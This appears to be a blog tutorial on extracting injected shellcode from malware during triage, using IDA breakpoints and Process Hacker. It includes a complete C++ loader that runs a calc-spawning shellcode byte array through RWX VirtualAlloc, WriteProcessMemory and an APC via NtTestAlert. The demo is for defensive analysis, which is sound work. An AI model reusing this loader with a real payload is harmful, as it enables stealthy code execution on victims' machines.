Extracting Shell from Malware

Hi Guys,

I would like to share a tutorial on how to extract the shell code from a malware. This is very useful when you are doing investigation to triage the malware

As you may know that a malware in order to load the the shell into the memory, the need to do 2 API execution that to allocate memory and write the shell into that memory. here below are the two API description

VirtualAlloc

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

WriteProcessMemory

Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

Here is below the sampe program code to do the shell injection

// SpawnCalc.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <Windows.h>
#include <iostream>

#pragma comment(lib, "ntdll")
using rioNTAlert = NTSTATUS(NTAPI*)();

int main()
{
	unsigned char buf[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
		"\x2e\x65\x78\x65\x20\x2f\x63\x20\x63\x61\x6c\x63\x2e\x65\x78"
		"\x65\x00";

	rioNTAlert payloadExecutor = (rioNTAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
	SIZE_T shellSize = sizeof(buf);
	LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);
	
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
	payloadExecutor();

    
}

We can see the above sample code that the sequence to inject the shell is to allocate the memory in RWX mode so that the memory is writeable and executable.

After that we can see that there is function call to write the buffer into the memory segment created.

We can extract by two methods below

1. IDA Debugger

If you choose to debug using IDA you can start by searching both API call in your code

If your code is very big that make you harder to find the API call then you can go to import window and find it

double click on that and you will go to the API call entry point

you can enable debug by pressing F2 with this config condition. this will also enable tracing

Run the debug and check if the virtualalloc break point was called. Open the trace window from debug menu

Now you can assess the virtualalloc, We are looking call trace from main function. Then you can go to the main function to see the original call by double clicking line.

Now you can set the break point to the correct virtualalloc from your program.

Lets extract the shell.

After you have set the correct break point then you can start analyses. Then you can run debug and wait until your break point got hit.

The important information from the virtualalloc is to get the start address of the memory space allocated. As we know that we need to get it from the return value of virtualalloc that set in EAX. When the break point is hit then we can press F8 allow the VirtualAlloc is executed. And please check the value in EAX which become starting address

here is the allocated memory. The best thing that IDA is able to detect the permission as well. So we need to take note that 0x1F0000 is the start address.

Now we need to monitor the change on this memory region.

Next is to enable break point on the WriteProcessMemory. You can follow the same steps above to enable the break point.

So everytime the WriteProcessMemory get hit then this our task to check the memory region that we suspect will have change from zero value to something. Now our memory region has been written with some value

We can go the HEX View with specified memory address 001F0000. We can verify that the bytes written match with the shell from our source code.

In order to export the shell into file then you can select the memory region and export data

Select C unsigned char array (hex)

2. Process Hacker

We can also use process hacker to extract the shell from the applicaiton. The method is he same, we need to wait untill payload is written to the memory using WriteProcessMemory API. We can easily identify the memory region using process hacker that has RWX permission

Double click on the application from the process hacker list

Go to memory tab and and find the memory region that has RWX permission as mentioned

double click on the memory region

We can verify that the memory region that we selected is the shell injected.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s